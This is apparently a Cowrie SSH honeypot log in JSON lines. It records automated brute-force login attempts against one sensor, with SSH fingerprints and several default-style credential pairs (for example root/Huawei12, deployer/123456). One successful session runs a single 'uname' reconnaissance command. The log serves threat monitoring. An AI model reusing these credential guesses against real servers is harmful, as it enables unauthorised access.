{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35416,"dst_ip":"159.203.135.109","dst_port":22,"session":"e563f42dd934","protocol":"ssh","message":"New connection: 176.65.139.95:35416 (159.203.135.109:22) [session: e563f42dd934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:22.144856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:22.150285Z","src_ip":"176.65.139.95","session":"e563f42dd934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:22.236256Z","src_ip":"176.65.139.95","session":"e563f42dd934","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:22.498930Z","src_ip":"176.65.139.95","session":"e563f42dd934","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:22.709202Z","src_ip":"176.65.139.95","session":"e563f42dd934","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:22.714340Z","src_ip":"176.65.139.95","session":"e563f42dd934","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:22.802170Z","src_ip":"176.65.139.95","session":"e563f42dd934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:22.807345Z","src_ip":"176.65.139.95","session":"e563f42dd934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:22.832596Z","src_ip":"192.109.200.78","session":"6a20e835189f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40880,"dst_ip":"159.203.135.109","dst_port":22,"session":"86eb8f2a7e1c","protocol":"ssh","message":"New connection: 192.109.200.78:40880 (159.203.135.109:22) [session: 86eb8f2a7e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:25.026346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:25.031035Z","src_ip":"192.109.200.78","session":"86eb8f2a7e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:25.113291Z","src_ip":"192.109.200.78","session":"86eb8f2a7e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:25.360759Z","src_ip":"192.109.200.78","session":"86eb8f2a7e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:26.449921Z","src_ip":"192.109.200.78","session":"86eb8f2a7e1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36500,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f41d5fa0e42","protocol":"ssh","message":"New connection: 176.65.139.95:36500 (159.203.135.109:22) [session: 0f41d5fa0e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:28.724418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:28.766492Z","src_ip":"176.65.139.95","session":"0f41d5fa0e42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:28.849845Z","src_ip":"176.65.139.95","session":"0f41d5fa0e42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57658,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e2ad95e6ac8","protocol":"ssh","message":"New connection: 192.109.200.78:57658 (159.203.135.109:22) [session: 6e2ad95e6ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:28.949399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:28.955022Z","src_ip":"192.109.200.78","session":"6e2ad95e6ac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:29.038981Z","src_ip":"192.109.200.78","session":"6e2ad95e6ac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:29.140224Z","src_ip":"176.65.139.95","session":"0f41d5fa0e42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:29.322940Z","src_ip":"192.109.200.78","session":"6e2ad95e6ac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:30.285007Z","src_ip":"176.65.139.95","session":"0f41d5fa0e42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:30.412891Z","src_ip":"192.109.200.78","session":"6e2ad95e6ac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57664,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4a0e4d75e7c","protocol":"ssh","message":"New connection: 192.109.200.78:57664 (159.203.135.109:22) [session: a4a0e4d75e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:33.008917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:33.014860Z","src_ip":"192.109.200.78","session":"a4a0e4d75e7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:33.103521Z","src_ip":"192.109.200.78","session":"a4a0e4d75e7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:33.351282Z","src_ip":"192.109.200.78","session":"a4a0e4d75e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:34.436711Z","src_ip":"192.109.200.78","session":"a4a0e4d75e7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36508,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d03f0034a8c","protocol":"ssh","message":"New connection: 176.65.139.95:36508 (159.203.135.109:22) [session: 6d03f0034a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:35.531380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:35.536911Z","src_ip":"176.65.139.95","session":"6d03f0034a8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:35.622591Z","src_ip":"176.65.139.95","session":"6d03f0034a8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:35.884111Z","src_ip":"176.65.139.95","session":"6d03f0034a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:36.998458Z","src_ip":"176.65.139.95","session":"6d03f0034a8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57674,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbb60dd0ca03","protocol":"ssh","message":"New connection: 192.109.200.78:57674 (159.203.135.109:22) [session: fbb60dd0ca03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:37.327188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:37.336372Z","src_ip":"192.109.200.78","session":"fbb60dd0ca03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:37.420434Z","src_ip":"192.109.200.78","session":"fbb60dd0ca03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:37.668178Z","src_ip":"192.109.200.78","session":"fbb60dd0ca03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:38.893594Z","src_ip":"192.109.200.78","session":"fbb60dd0ca03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":41732,"dst_ip":"159.203.135.109","dst_port":22,"session":"67dcf2a253e5","protocol":"ssh","message":"New connection: 176.65.139.95:41732 (159.203.135.109:22) [session: 67dcf2a253e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:41.537618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:41.542737Z","src_ip":"176.65.139.95","session":"67dcf2a253e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56714,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2b975861869","protocol":"ssh","message":"New connection: 192.109.200.78:56714 (159.203.135.109:22) [session: d2b975861869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:41.586237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:41.591673Z","src_ip":"192.109.200.78","session":"d2b975861869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:41.633652Z","src_ip":"176.65.139.95","session":"67dcf2a253e5","protocol":"ssh"}
